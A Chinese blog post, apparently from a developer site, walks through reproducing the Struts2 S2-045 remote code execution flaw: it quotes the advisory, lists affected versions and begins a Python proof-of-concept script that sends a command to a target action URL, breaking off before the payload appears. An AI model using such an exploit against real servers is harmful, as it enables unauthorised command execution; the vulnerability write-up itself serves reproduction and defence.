S2-045之搬码工复现(含调整后能用的poc代码)

概述

写这篇文是因为在系统维护过程,发现安全系统拦截到了这个漏洞。但是网上教程大都简单描述,要不然就是照搬i春秋实验的过程,对于搬码工的我来说,CV操作用不了的,是真的看不懂好吗?i春秋的环境中的文件又不能拷贝出来,你们那些文中还照搬下载的地址,你们真的有去做实验吗?胡乱就发一篇文出来,也不管是不是有用。

S2-045官方解释

Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser. It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

意思就是说基于Jakarta Multipart解析器执行文件上传时的远程执行代码,可以利用恶意更改请求头中的Content-Type内容,进而执行远程命令代码。

复现过程

实验环境

windows python 2.7

Struts项目搭建版本需求

需要有服务器搭建一个Struts2.3.5 - Struts2.3.31 或者 2.5-2.5.10这些版本的web项目,局域网中用两台机子去搭应该也可以,自己搭一个,网上教程大把,不在这里赘述。

漏洞复现

脚本代码

利用poc远程执行命令ipconfig,poc.py代码从i春秋的实验中拉取下来的,

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

def poc():    
    if len(sys.argv) < 3:
        print('''Usage: poc.py http://172.16.12.2/example/HelloWorld.action "command"''')
        sys.exit()
    register_openers()
    # opan("请求的文件", "打开方式")
    datagen, header = multipart_encode({
   "image": open("zenicon.eot"
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值